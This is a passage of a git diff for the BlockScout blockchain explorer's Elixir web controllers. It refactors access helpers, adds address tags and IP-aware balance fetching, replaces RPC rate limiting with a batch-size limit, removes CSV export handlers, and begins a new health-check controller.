tokens, params, &paging_params_with_fiat_value/1) do nil -> nil @@ -32,13 +34,12 @@ defmodule BlockScoutWeb.AddressTokenController do items = tokens - |> Market.add_price() - |> Enum.map(fn {token_balance, token} -> + |> Enum.map(fn token_balance -> View.render_to_string( AddressTokenView, "_tokens.html", token_balance: token_balance, - token: token, + token: token_balance.token, address: address, conn: conn ) @@ -64,17 +65,20 @@ defmodule BlockScoutWeb.AddressTokenController do end def index(conn, %{"address_id" => address_hash_string} = params) do + ip = AccessHelper.conn_to_ip_string(conn) + with {:ok, address_hash} <- Chain.string_to_address_hash(address_hash_string), {:ok, address} <- Chain.hash_to_address(address_hash), - {:ok, false} <- AccessHelpers.restricted_access?(address_hash_string, params) do + {:ok, false} <- AccessHelper.restricted_access?(address_hash_string, params) do render( conn, "index.html", address: address, current_path: Controller.current_full_path(conn), - coin_balance_status: CoinBalanceOnDemand.trigger_fetch(address), - exchange_rate: Market.get_exchange_rate(Explorer.coin()) || Token.null(), - counters_path: address_path(conn, :address_counters, %{"id" => Address.checksum(address_hash)}) + coin_balance_status: CoinBalanceOnDemand.trigger_fetch(ip, address), + exchange_rate: Market.get_coin_exchange_rate(), + counters_path: address_path(conn, :address_counters, %{"id" => Address.checksum(address_hash)}), + tags: get_address_tags(address_hash, current_user(conn)) ) else {:restricted_access, _} -> diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/address_token_transfer_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/address_token_transfer_controller.ex index 3cfee0da7d4c..a6ce243ddffe 100644 --- a/apps/block_scout_web/lib/block_scout_web/controllers/address_token_transfer_controller.ex +++ b/apps/block_scout_web/lib/block_scout_web/controllers/address_token_transfer_controller.ex @@ -1,16 +1,20 @@ defmodule BlockScoutWeb.AddressTokenTransferController do use BlockScoutWeb, :controller - alias BlockScoutWeb.{AccessHelpers, Controller, TransactionView} - alias Explorer.ExchangeRates.Token + import BlockScoutWeb.Account.AuthController, only: [current_user: 1] + import BlockScoutWeb.Models.GetAddressTags, only: [get_address_tags: 2] + + alias BlockScoutWeb.{AccessHelper, Controller, TransactionView} alias Explorer.{Chain, Market} - alias Explorer.Chain.Address - alias Indexer.Fetcher.CoinBalanceOnDemand + alias Explorer.Chain.{Address, DenormalizationHelper} + alias Indexer.Fetcher.OnDemand.CoinBalance, as: CoinBalanceOnDemand alias Phoenix.View import BlockScoutWeb.Chain, only: [current_filter: 1, next_page_params: 3, paging_options: 1, split_list_by_page: 1] + import Explorer.Chain.SmartContract, only: [burn_address_hash_string: 0] + @transaction_necessity_by_association [ necessity_by_association: %{ [created_contract_address: :names] => :optional, @@ -22,12 +26,11 @@ defmodule BlockScoutWeb.AddressTokenTransferController do [token_transfers: :token] => :optional, [token_transfers: :to_address] => :optional, [token_transfers: :from_address] => :optional, - [token_transfers: :token_contract_address] => :optional, - :block => :required + [token_transfers: :token_contract_address] => :optional } ] - {:ok, burn_address_hash} = Chain.string_to_address_hash("0x0000000000000000000000000000000000000000") + {:ok, burn_address_hash} = Chain.string_to_address_hash(burn_address_hash_string()) @burn_address_hash burn_address_hash def index( @@ -42,7 +45,7 @@ defmodule BlockScoutWeb.AddressTokenTransferController do {:ok, token_hash} <- Chain.string_to_address_hash(token_hash_string), {:ok, address} <- Chain.hash_to_address(address_hash), {:ok, _} <- Chain.token_from_address_hash(token_hash), - {:ok, false} <- AccessHelpers.restricted_access?(address_hash_string, params) do + {:ok, false} <- AccessHelper.restricted_access?(address_hash_string, params) do transactions = Chain.address_to_transactions_with_token_transfers( address_hash, @@ -96,20 +99,24 @@ defmodule BlockScoutWeb.AddressTokenTransferController do conn, %{"address_id" => address_hash_string, "address_token_id" => token_hash_string} = params ) do + ip = AccessHelper.conn_to_ip_string(conn) + with {:ok, address_hash} <- Chain.string_to_address_hash(address_hash_string), {:ok, token_hash} <- Chain.string_to_address_hash(token_hash_string), {:ok, address} <- Chain.hash_to_address(address_hash), {:ok, token} <- Chain.token_from_address_hash(token_hash), - {:ok, false} <- AccessHelpers.restricted_access?(address_hash_string, params) do + {:ok, false} <- AccessHelper.restricted_access?(address_hash_string, params) do render( conn, "index.html", address: address, - coin_balance_status: CoinBalanceOnDemand.trigger_fetch(address), - exchange_rate: Market.get_exchange_rate(Explorer.coin()) || Token.null(), + coin_balance_status: CoinBalanceOnDemand.trigger_fetch(ip, address), + exchange_rate: Market.get_coin_exchange_rate(), + filter: params["filter"], current_path: Controller.current_full_path(conn), token: token, - counters_path: address_path(conn, :address_counters, %{"id" => Address.checksum(address_hash)}) + counters_path: address_path(conn, :address_counters, %{"id" => Address.checksum(address_hash)}), + tags: get_address_tags(address_hash, current_user(conn)) ) else {:restricted_access, _} -> @@ -132,9 +139,10 @@ defmodule BlockScoutWeb.AddressTokenTransferController do ) do with {:ok, address_hash} <- Chain.string_to_address_hash(address_hash_string), {:ok, address} <- Chain.hash_to_address(address_hash), - {:ok, false} <- AccessHelpers.restricted_access?(address_hash_string, params) do + {:ok, false} <- AccessHelper.restricted_access?(address_hash_string, params) do options = @transaction_necessity_by_association + |> DenormalizationHelper.extend_block_necessity(:required) |> Keyword.merge(paging_options(params)) |> Keyword.merge(current_filter(params)) @@ -189,18 +197,21 @@ defmodule BlockScoutWeb.AddressTokenTransferController do conn, %{"address_id" => address_hash_string} = params ) do + ip = AccessHelper.conn_to_ip_string(conn) + with {:ok, address_hash} <- Chain.string_to_address_hash(address_hash_string), {:ok, address} <- Chain.hash_to_address(address_hash), - {:ok, false} <- AccessHelpers.restricted_access?(address_hash_string, params) do + {:ok, false} <- AccessHelper.restricted_access?(address_hash_string, params) do render( conn, "index.html", address: address, - coin_balance_status: CoinBalanceOnDemand.trigger_fetch(address), - exchange_rate: Market.get_exchange_rate(Explorer.coin()) || Token.null(), + coin_balance_status: CoinBalanceOnDemand.trigger_fetch(ip, address), + exchange_rate: Market.get_coin_exchange_rate(), filter: params["filter"], current_path: Controller.current_full_path(conn), - counters_path: address_path(conn, :address_counters, %{"id" => Address.checksum(address_hash)}) + counters_path: address_path(conn, :address_counters, %{"id" => Address.checksum(address_hash)}), + tags: get_address_tags(address_hash, current_user(conn)) ) else {:restricted_access, _} -> diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/address_transaction_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/address_transaction_controller.ex index 649bd8f4b468..7f73149a5466 100644 --- a/apps/block_scout_web/lib/block_scout_web/controllers/address_transaction_controller.ex +++ b/apps/block_scout_web/lib/block_scout_web/controllers/address_transaction_controller.ex @@ -5,52 +5,49 @@ defmodule BlockScoutWeb.AddressTransactionController do use BlockScoutWeb, :controller - import BlockScoutWeb.Chain, only: [current_filter: 1, paging_options: 1, next_page_params: 3, split_list_by_page: 1] + import BlockScoutWeb.Account.AuthController, only: [current_user: 1] - alias BlockScoutWeb.{AccessHelpers, Controller, TransactionView} + import BlockScoutWeb.Chain, + only: [current_filter: 1, paging_options: 1, next_page_params: 3, split_list_by_page: 1] + + import BlockScoutWeb.Models.GetAddressTags, only: [get_address_tags: 2] + import Explorer.Chain.SmartContract, only: [burn_address_hash_string: 0] + + alias BlockScoutWeb.{AccessHelper, Controller, TransactionView} alias Explorer.{Chain, Market} - alias Explorer.Chain.{ - AddressInternalTransactionCsvExporter, - AddressLogCsvExporter, - AddressTokenTransferCsvExporter, - AddressTransactionCsvExporter, - Wei - } + alias Explorer.Chain.{DenormalizationHelper, Transaction, Wei} - alias Explorer.ExchangeRates.Token - alias Indexer.Fetcher.CoinBalanceOnDemand + alias Indexer.Fetcher.OnDemand.CoinBalance, as: CoinBalanceOnDemand alias Phoenix.View - alias Plug.Conn - @transaction_necessity_by_association [ necessity_by_association: %{ [created_contract_address: :names] => :optional, [from_address: :names] => :optional, [to_address: :names] => :optional, - :block => :optional, [created_contract_address: :smart_contract] => :optional, [from_address: :smart_contract] => :optional, [to_address: :smart_contract] => :optional } ] - {:ok, burn_address_hash} = Chain.string_to_address_hash("0x0000000000000000000000000000000000000000") + {:ok, burn_address_hash} = Chain.string_to_address_hash(burn_address_hash_string()) @burn_address_hash burn_address_hash def index(conn, %{"address_id" => address_hash_string, "type" => "JSON"} = params) do address_options = [necessity_by_association: %{:names => :optional, :smart_contract => :optional}] with {:ok, address_hash} <- Chain.string_to_address_hash(address_hash_string), - {:ok, address} <- Chain.hash_to_address(address_hash, address_options, false), - {:ok, false} <- AccessHelpers.restricted_access?(address_hash_string, params) do + {:ok, address} <- Chain.hash_to_address(address_hash, address_options), + {:ok, false} <- AccessHelper.restricted_access?(address_hash_string, params) do options = @transaction_necessity_by_association + |> DenormalizationHelper.extend_block_necessity(:optional) |> Keyword.merge(paging_options(params)) |> Keyword.merge(current_filter(params)) - results_plus_one = Chain.address_to_transactions_with_rewards(address_hash, options) + results_plus_one = Transaction.address_to_transactions_with_rewards(address_hash, options) {results, next_page} = split_list_by_page(results_plus_one) next_page_url = @@ -111,18 +108,21 @@ defmodule BlockScoutWeb.AddressTransactionController do end def index(conn, %{"address_id" => address_hash_string} = params) do + ip = AccessHelper.conn_to_ip_string(conn) + with {:ok, address_hash} <- Chain.string_to_address_hash(address_hash_string), {:ok, address} <- Chain.hash_to_address(address_hash), - {:ok, false} <- AccessHelpers.restricted_access?(address_hash_string, params) do + {:ok, false} <- AccessHelper.restricted_access?(address_hash_string, params) do render( conn, "index.html", address: address, - coin_balance_status: CoinBalanceOnDemand.trigger_fetch(address), - exchange_rate: Market.get_exchange_rate(Explorer.coin()) || Token.null(), + coin_balance_status: CoinBalanceOnDemand.trigger_fetch(ip, address), + exchange_rate: Market.get_coin_exchange_rate(), filter: params["filter"], counters_path: address_path(conn, :address_counters, %{"id" => address_hash_string}), - current_path: Controller.current_full_path(conn) + current_path: Controller.current_full_path(conn), + tags: get_address_tags(address_hash, current_user(conn)) ) else :error -> @@ -147,11 +147,12 @@ defmodule BlockScoutWeb.AddressTransactionController do conn, "index.html", address: address, - coin_balance_status: nil, - exchange_rate: Market.get_exchange_rate(Explorer.coin()) || Token.null(), + coin_balance_status: CoinBalanceOnDemand.trigger_fetch(ip, address), + exchange_rate: Market.get_coin_exchange_rate(), filter: params["filter"], counters_path: address_path(conn, :address_counters, %{"id" => address_hash_string}), - current_path: Controller.current_full_path(conn) + current_path: Controller.current_full_path(conn), + tags: get_address_tags(address_hash, current_user(conn)) ) _ -> @@ -159,128 +160,4 @@ defmodule BlockScoutWeb.AddressTransactionController do end end end - - defp captcha_helper do - :block_scout_web - |> Application.get_env(:captcha_helper) - end - - defp put_resp_params(conn, file_name) do - conn - |> put_resp_content_type("application/csv") - |> put_resp_header("content-disposition", "attachment; filename=#{file_name}") - |> put_resp_cookie("csv-downloaded", "true", max_age: 86_400, http_only: false) - |> send_chunked(200) - end - - defp items_csv( - conn, - %{ - "address_id" => address_hash_string, - "from_period" => from_period, - "to_period" => to_period, - "recaptcha_response" => recaptcha_response - }, - csv_export_module, - file_name - ) - when is_binary(address_hash_string) do - with {:ok, address_hash} <- Chain.string_to_address_hash(address_hash_string), - {:ok, address} <- Chain.hash_to_address(address_hash), - {:recaptcha, true} <- {:recaptcha, captcha_helper().recaptcha_passed?(recaptcha_response)} do - address - |> csv_export_module.export(from_period, to_period) - |> Enum.reduce_while(put_resp_params(conn, file_name), fn chunk, conn -> - case Conn.chunk(conn, chunk) do - {:ok, conn} -> - {:cont, conn} - - {:error, :closed} -> - {:halt, conn} - end - end) - else - :error -> - unprocessable_entity(conn) - - {:error, :not_found} -> - not_found(conn) - - {:recaptcha, false} -> - not_found(conn) - end - end - - defp items_csv(conn, _, _, _), do: not_found(conn) - - def token_transfers_csv(conn, params) do - items_csv( - conn, - %{ - "address_id" => params["address_id"], - "from_period" => params["from_period"], - "to_period" => params["to_period"], - "recaptcha_response" => params["recaptcha_response"] - }, - AddressTokenTransferCsvExporter, - "token_transfers.csv" - ) - end - - def transactions_csv(conn, %{ - "address_id" => address_hash_string, - "from_period" => from_period, - "to_period" => to_period, - "recaptcha_response" => recaptcha_response - }) do - items_csv( - conn, - %{ - "address_id" => address_hash_string, - "from_period" => from_period, - "to_period" => to_period, - "recaptcha_response" => recaptcha_response - }, - AddressTransactionCsvExporter, - "transactions.csv" - ) - end - - def internal_transactions_csv(conn, %{ - "address_id" => address_hash_string, - "from_period" => from_period, - "to_period" => to_period, - "recaptcha_response" => recaptcha_response - }) do - items_csv( - conn, - %{ - "address_id" => address_hash_string, - "from_period" => from_period, - "to_period" => to_period, - "recaptcha_response" => recaptcha_response - }, - AddressInternalTransactionCsvExporter, - "internal_transactions.csv" - ) - end - - def logs_csv(conn, %{ - "address_id" => address_hash_string, - "from_period" => from_period, - "to_period" => to_period, - "recaptcha_response" => recaptcha_response - }) do - items_csv( - conn, - %{ - "address_id" => address_hash_string, - "from_period" => from_period, - "to_period" => to_period, - "recaptcha_response" => recaptcha_response - }, - AddressLogCsvExporter, - "logs.csv" - ) - end end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/address_validation_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/address_validation_controller.ex index 6f6ccdcad7ab..92ac7af242c6 100644 --- a/apps/block_scout_web/lib/block_scout_web/controllers/address_validation_controller.ex +++ b/apps/block_scout_web/lib/block_scout_web/controllers/address_validation_controller.ex @@ -4,19 +4,22 @@ defmodule BlockScoutWeb.AddressValidationController do """ use BlockScoutWeb, :controller + import BlockScoutWeb.Account.AuthController, only: [current_user: 1] + import BlockScoutWeb.Chain, only: [paging_options: 1, next_page_params: 3, split_list_by_page: 1] - alias BlockScoutWeb.{AccessHelpers, BlockView, Controller} - alias Explorer.ExchangeRates.Token + import BlockScoutWeb.Models.GetAddressTags, only: [get_address_tags: 2] + + alias BlockScoutWeb.{AccessHelper, BlockView, Controller} alias Explorer.{Chain, Market} - alias Indexer.Fetcher.CoinBalanceOnDemand + alias Indexer.Fetcher.OnDemand.CoinBalance, as: CoinBalanceOnDemand alias Phoenix.View def index(conn, %{"address_id" => address_hash_string, "type" => "JSON"} = params) do with {:ok, address_hash} <- Chain.string_to_address_hash(address_hash_string), - {:ok, _} <- Chain.find_or_insert_address_from_hash(address_hash, [], false), - {:ok, false} <- AccessHelpers.restricted_access?(address_hash_string, params) do + {:ok, _} <- Chain.find_or_insert_address_from_hash(address_hash, []), + {:ok, false} <- AccessHelper.restricted_access?(address_hash_string, params) do full_options = Keyword.merge( [ @@ -69,17 +72,20 @@ defmodule BlockScoutWeb.AddressValidationController do end def index(conn, %{"address_id" => address_hash_string} = params) do + ip = AccessHelper.conn_to_ip_string(conn) + with {:ok, address_hash} <- Chain.string_to_address_hash(address_hash_string), {:ok, address} <- Chain.find_or_insert_address_from_hash(address_hash), - {:ok, false} <- AccessHelpers.restricted_access?(address_hash_string, params) do + {:ok, false} <- AccessHelper.restricted_access?(address_hash_string, params) do render( conn, "index.html", address: address, - coin_balance_status: CoinBalanceOnDemand.trigger_fetch(address), + coin_balance_status: CoinBalanceOnDemand.trigger_fetch(ip, address), current_path: Controller.current_full_path(conn), counters_path: address_path(conn, :address_counters, %{"id" => address_hash_string}), - exchange_rate: Market.get_exchange_rate(Explorer.coin()) || Token.null() + exchange_rate: Market.get_coin_exchange_rate(), + tags: get_address_tags(address_hash, current_user(conn)) ) else {:restricted_access, _} -> @@ -87,9 +93,6 @@ defmodule BlockScoutWeb.AddressValidationController do :error -> unprocessable_entity(conn) - - {:error, :not_found} -> - not_found(conn) end end end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/address_withdrawal_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/address_withdrawal_controller.ex new file mode 100644 index 000000000000..ce3c05c37466 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/controllers/address_withdrawal_controller.ex @@ -0,0 +1,122 @@ +defmodule BlockScoutWeb.AddressWithdrawalController do + @moduledoc """ + Display all the withdrawals that terminate at this Address. + """ + + use BlockScoutWeb, :controller + + import BlockScoutWeb.Account.AuthController, only: [current_user: 1] + + import BlockScoutWeb.Chain, only: [paging_options: 1, next_page_params: 3, split_list_by_page: 1] + + import BlockScoutWeb.Models.GetAddressTags, only: [get_address_tags: 2] + + alias BlockScoutWeb.{AccessHelper, AddressWithdrawalView, Controller} + alias Explorer.{Chain, Market} + + alias Explorer.Chain.Wei + + alias Indexer.Fetcher.OnDemand.CoinBalance, as: CoinBalanceOnDemand + alias Phoenix.View + + def index(conn, %{"address_id" => address_hash_string, "type" => "JSON"} = params) do + address_options = [necessity_by_association: %{:names => :optional, :smart_contract => :optional}] + + with {:ok, address_hash} <- Chain.string_to_address_hash(address_hash_string), + {:ok, address} <- Chain.hash_to_address(address_hash, address_options), + {:ok, false} <- AccessHelper.restricted_access?(address_hash_string, params) do + options = paging_options(params) + + withdrawals_plus_one = Chain.address_hash_to_withdrawals(address_hash, options) + {withdrawals, next_page} = split_list_by_page(withdrawals_plus_one) + + next_page_url = + case next_page_params(next_page, withdrawals, params) do + nil -> + nil + + next_page_params -> + address_withdrawal_path( + conn, + :index, + address, + Map.delete(next_page_params, "type") + ) + end + + items_json = + for withdrawal <- withdrawals do + View.render_to_string(AddressWithdrawalView, "_withdrawal.html", withdrawal: withdrawal) + end + + json(conn, %{items: items_json, next_page_path: next_page_url}) + else + :error -> + unprocessable_entity(conn) + + {:restricted_access, _} -> + not_found(conn) + + {:error, :not_found} -> + case Chain.Hash.Address.validate(address_hash_string) do + {:ok, _} -> + json(conn, %{items: [], next_page_path: ""}) + + _ -> + not_found(conn) + end + end + end + + def index(conn, %{"address_id" => address_hash_string} = params) do + ip = AccessHelper.conn_to_ip_string(conn) + + with {:ok, address_hash} <- Chain.string_to_address_hash(address_hash_string), + {:ok, address} <- Chain.hash_to_address(address_hash), + {:ok, false} <- AccessHelper.restricted_access?(address_hash_string, params) do + render( + conn, + "index.html", + address: address, + coin_balance_status: CoinBalanceOnDemand.trigger_fetch(ip, address), + exchange_rate: Market.get_coin_exchange_rate(), + counters_path: address_path(conn, :address_counters, %{"id" => address_hash_string}), + current_path: Controller.current_full_path(conn), + tags: get_address_tags(address_hash, current_user(conn)) + ) + else + :error -> + unprocessable_entity(conn) + + {:restricted_access, _} -> + not_found(conn) + + {:error, :not_found} -> + case Chain.Hash.Address.validate(address_hash_string) do + {:ok, _} -> + {:ok, address_hash} = Chain.string_to_address_hash(address_hash_string) + + address = %Chain.Address{ + hash: address_hash, + smart_contract: nil, + token: nil, + fetched_coin_balance: %Wei{value: Decimal.new(0)} + } + + render( + conn, + "index.html", + address: address, + coin_balance_status: CoinBalanceOnDemand.trigger_fetch(ip, address), + exchange_rate: Market.get_coin_exchange_rate(), + counters_path: address_path(conn, :address_counters, %{"id" => address_hash_string}), + current_path: Controller.current_full_path(conn), + tags: get_address_tags(address_hash, current_user(conn)) + ) + + _ -> + not_found(conn) + end + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/address_write_contract_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/address_write_contract_controller.ex index f3b50dd4a26e..4b0124ce1f4d 100644 --- a/apps/block_scout_web/lib/block_scout_web/controllers/address_write_contract_controller.ex +++ b/apps/block_scout_web/lib/block_scout_web/controllers/address_write_contract_controller.ex @@ -8,40 +8,79 @@ defmodule BlockScoutWeb.AddressWriteContractController do use BlockScoutWeb, :controller - alias BlockScoutWeb.AccessHelpers + import BlockScoutWeb.Account.AuthController, only: [current_user: 1] + import BlockScoutWeb.Models.GetAddressTags, only: [get_address_tags: 2] + + alias BlockScoutWeb.AccessHelper + alias BlockScoutWeb.AddressView alias Explorer.{Chain, Market} alias Explorer.Chain.Address - alias Explorer.ExchangeRates.Token - alias Indexer.Fetcher.CoinBalanceOnDemand + alias Indexer.Fetcher.OnDemand.CoinBalance, as: CoinBalanceOnDemand def index(conn, %{"address_id" => address_hash_string} = params) do + ip = AccessHelper.conn_to_ip_string(conn) + address_options = [ necessity_by_association: %{ - :contracts_creation_internal_transaction => :optional, :names => :optional, :smart_contract => :optional, :token => :optional, - :contracts_creation_transaction => :optional - } + Address.contract_creation_transaction_associations() => :optional + }, + ip: ip + ] + + custom_abi? = AddressView.has_address_custom_abi_with_write_functions?(conn, address_hash_string) + + base_params = [ + type: :regular, + action: :write, + custom_abi: custom_abi?, + exchange_rate: Market.get_coin_exchange_rate() ] - with {:ok, address_hash} <- Chain.string_to_address_hash(address_hash_string), - {:ok, address} <- Chain.find_contract_address(address_hash, address_options, true), + with false <- AddressView.contract_interaction_disabled?(), + {:ok, address_hash} <- Chain.string_to_address_hash(address_hash_string), + {:ok, address} <- Chain.find_contract_address(address_hash, address_options), false <- is_nil(address.smart_contract), - {:ok, false} <- AccessHelpers.restricted_access?(address_hash_string, params) do + {:ok, false} <- AccessHelper.restricted_access?(address_hash_string, params) do render( conn, "index.html", - address: address, - type: :regular, - action: :write, - coin_balance_status: CoinBalanceOnDemand.trigger_fetch(address), - exchange_rate: Market.get_exchange_rate(Explorer.coin()) || Token.null(), - counters_path: address_path(conn, :address_counters, %{"id" => Address.checksum(address_hash)}) + base_params ++ + [ + address: address, + non_custom_abi: true, + coin_balance_status: CoinBalanceOnDemand.trigger_fetch(ip, address), + counters_path: address_path(conn, :address_counters, %{"id" => Address.checksum(address_hash)}), + tags: get_address_tags(address_hash, current_user(conn)) + ] ) else _ -> - not_found(conn) + if custom_abi? do + with {:ok, address_hash} <- Chain.string_to_address_hash(address_hash_string), + {:ok, address} <- Chain.find_contract_address(address_hash, address_options), + {:ok, false} <- AccessHelper.restricted_access?(address_hash_string, params) do + render( + conn, + "index.html", + base_params ++ + [ + address: address, + non_custom_abi: false, + coin_balance_status: CoinBalanceOnDemand.trigger_fetch(ip, address), + counters_path: address_path(conn, :address_counters, %{"id" => Address.checksum(address_hash)}), + tags: get_address_tags(address_hash, current_user(conn)) + ] + ) + else + _ -> + not_found(conn) + end + else + not_found(conn) + end end end end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/address_write_proxy_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/address_write_proxy_controller.ex index e82fc17c29fb..9643660d814e 100644 --- a/apps/block_scout_web/lib/block_scout_web/controllers/address_write_proxy_controller.ex +++ b/apps/block_scout_web/lib/block_scout_web/controllers/address_write_proxy_controller.ex @@ -2,36 +2,42 @@ defmodule BlockScoutWeb.AddressWriteProxyController do use BlockScoutWeb, :controller - alias BlockScoutWeb.AccessHelpers + import BlockScoutWeb.Account.AuthController, only: [current_user: 1] + import BlockScoutWeb.Models.GetAddressTags, only: [get_address_tags: 2] + + alias BlockScoutWeb.{AccessHelper, AddressView} alias Explorer.{Chain, Market} alias Explorer.Chain.Address - alias Explorer.ExchangeRates.Token - alias Indexer.Fetcher.CoinBalanceOnDemand + alias Indexer.Fetcher.OnDemand.CoinBalance, as: CoinBalanceOnDemand def index(conn, %{"address_id" => address_hash_string} = params) do + ip = AccessHelper.conn_to_ip_string(conn) + address_options = [ necessity_by_association: %{ - :contracts_creation_internal_transaction => :optional, :names => :optional, :smart_contract => :optional, :token => :optional, - :contracts_creation_transaction => :optional - } + Address.contract_creation_transaction_associations() => :optional + }, + ip: ip ] - with {:ok, address_hash} <- Chain.string_to_address_hash(address_hash_string), - {:ok, address} <- Chain.find_contract_address(address_hash, address_options, true), + with false <- AddressView.contract_interaction_disabled?(), + {:ok, address_hash} <- Chain.string_to_address_hash(address_hash_string), + {:ok, address} <- Chain.find_contract_address(address_hash, address_options), false <- is_nil(address.smart_contract), - {:ok, false} <- AccessHelpers.restricted_access?(address_hash_string, params) do + {:ok, false} <- AccessHelper.restricted_access?(address_hash_string, params) do render( conn, "index.html", address: address, type: :proxy, action: :write, - coin_balance_status: CoinBalanceOnDemand.trigger_fetch(address), - exchange_rate: Market.get_exchange_rate(Explorer.coin()) || Token.null(), - counters_path: address_path(conn, :address_counters, %{"id" => Address.checksum(address_hash)}) + coin_balance_status: CoinBalanceOnDemand.trigger_fetch(ip, address), + exchange_rate: Market.get_coin_exchange_rate(), + counters_path: address_path(conn, :address_counters, %{"id" => Address.checksum(address_hash)}), + tags: get_address_tags(address_hash, current_user(conn)) ) else _ -> diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/admin/setup_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/admin/setup_controller.ex index 9005fe358723..1d0f82f4d696 100644 --- a/apps/block_scout_web/lib/block_scout_web/controllers/admin/setup_controller.ex +++ b/apps/block_scout_web/lib/block_scout_web/controllers/admin/setup_controller.ex @@ -1,7 +1,7 @@ defmodule BlockScoutWeb.Admin.SetupController do use BlockScoutWeb, :controller - import BlockScoutWeb.AdminRouter.Helpers + import BlockScoutWeb.Routers.AdminRouter.Helpers alias BlockScoutWeb.Endpoint alias Explorer.Accounts.User.Registration diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/api/api_logger.ex b/apps/block_scout_web/lib/block_scout_web/controllers/api/api_logger.ex index bc2d77d0cb46..8a86aee8432e 100644 --- a/apps/block_scout_web/lib/block_scout_web/controllers/api/api_logger.ex +++ b/apps/block_scout_web/lib/block_scout_web/controllers/api/api_logger.ex @@ -4,22 +4,13 @@ defmodule BlockScoutWeb.API.APILogger do """ require Logger - def log(conn) do - endpoint = - if conn.query_string do - "#{conn.request_path}?#{conn.query_string}" - else - conn.request_path - end + @params [application: :api] - Logger.debug(endpoint, - fetcher: :api - ) + def message(text) do + Logger.debug(text, @params) end - def message(text) do - Logger.debug(text, - fetcher: :api - ) + def error(error) do + Logger.error(error, @params) end end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/api/eth_rpc/eth_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/api/eth_rpc/eth_controller.ex index 178cb32dbb9e..a42116389d0f 100644 --- a/apps/block_scout_web/lib/block_scout_web/controllers/api/eth_rpc/eth_controller.ex +++ b/apps/block_scout_web/lib/block_scout_web/controllers/api/eth_rpc/eth_controller.ex @@ -1,63 +1,54 @@ defmodule BlockScoutWeb.API.EthRPC.EthController do use BlockScoutWeb, :controller - alias BlockScoutWeb.AccessHelpers alias BlockScoutWeb.API.EthRPC.View, as: EthRPCView + alias BlockScoutWeb.API.RPC.RPCView alias Explorer.EthRPC def eth_request(%{body_params: %{"_json" => requests}} = conn, _) when is_list(requests) do - case AccessHelpers.check_rate_limit(conn) do - :ok -> - responses = EthRPC.responses(requests) - - conn - |> put_status(200) - |> put_view(EthRPCView) - |> render("responses.json", %{responses: responses}) - - :rate_limit_reached -> - AccessHelpers.handle_rate_limit_deny(conn) + eth_json_rpc_max_batch_size = Application.get_env(:block_scout_web, :api_rate_limit)[:eth_json_rpc_max_batch_size] + + if Enum.count(requests) <= eth_json_rpc_max_batch_size do + responses = EthRPC.responses(requests) + + conn + |> put_status(200) + |> put_view(EthRPCView) + |> render("responses.json", %{responses: responses}) + else + conn + |> put_status(413) + |> put_view(RPCView) + |> render(:error, %{:error => "Payload Too Large. Max batch size is #{eth_json_rpc_max_batch_size}"}) end end def eth_request(%{body_params: %{"_json" => request}} = conn, _) do - case AccessHelpers.check_rate_limit(conn) do - :ok -> - [response] = EthRPC.responses([request]) - - conn - |> put_status(200) - |> put_view(EthRPCView) - |> render("response.json", %{response: response}) + [response] = EthRPC.responses([request]) - :rate_limit_reached -> - AccessHelpers.handle_rate_limit_deny(conn) - end + conn + |> put_status(200) + |> put_view(EthRPCView) + |> render("response.json", %{response: response}) end def eth_request(conn, request) do - case AccessHelpers.check_rate_limit(conn) do - :ok -> - # In the case that the JSON body is sent up w/o a json content type, - # Phoenix encodes it as a single key value pair, with the value being - # nil and the body being the key (as in a CURL request w/ no content type header) - decoded_request = - with [{single_key, nil}] <- Map.to_list(request), - {:ok, decoded} <- Jason.decode(single_key) do - decoded - else - _ -> request - end - - [response] = EthRPC.responses([decoded_request]) - - conn - |> put_status(200) - |> put_view(EthRPCView) - |> render("response.json", %{response: response}) - - :rate_limit_reached -> - AccessHelpers.handle_rate_limit_deny(conn) - end + # In the case that the JSON body is sent up w/o a json content type, + # Phoenix encodes it as a single key value pair, with the value being + # nil and the body being the key (as in a CURL request w/ no content type header) + decoded_request = + with [{single_key, nil}] <- Map.to_list(request), + {:ok, decoded} <- Jason.decode(single_key) do + decoded + else + _ -> request + end + + [response] = EthRPC.responses([decoded_request]) + + conn + |> put_status(200) + |> put_view(EthRPCView) + |> render("response.json", %{response: response}) end end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/api/health_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/api/health_controller.ex new file mode 100644 index 000000000000..50b665b7528a --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/controllers/api/health_controller.ex @@ -0,0 +1,305 @@ +defmodule BlockScoutWeb.API.HealthController do + use Phoenix.Controller, namespace: BlockScoutWeb + + import Plug.Conn + + alias Explorer.Chain.Health.Helper, as: HealthHelper + alias Explorer.Migrator.MigrationStatus + + @ok_message "OK" + @backfill_multichain_search_db_migration_name "backfill_multichain_search_db" + @rollups [:arbitrum, :zksync, :optimism, :polygon_zkevm, :scroll] + + @doc """ + Handles health checks for the application. + + This endpoint is used to determine if the application is healthy and operational. It performs checks on the status of the blockchain data in both the database and the cache. + + ## Parameters + + - conn: The connection struct representing the current HTTP connection. + - params: A map of parameters (not used in this function). + + ## Returns + + - The updated connection struct with the response sent. + + If the application is not running in standalone media worker mode, it retrieves the latest block number and timestamp from both the database and the cache. It then sends an HTTP 200 response with this information. + """ + @spec health(Plug.Conn.t(), map()) :: Plug.Conn.t() + def health(conn, params) do + health(conn, params, Application.get_env(:nft_media_handler, :standalone_media_worker?)) + end + + defp health(conn, _, false) do + indexing_status = get_indexing_status() + + base_health_status = + %{ + metadata: %{ + blocks: indexing_status.blocks + } + } + + metadata = Map.get(base_health_status, 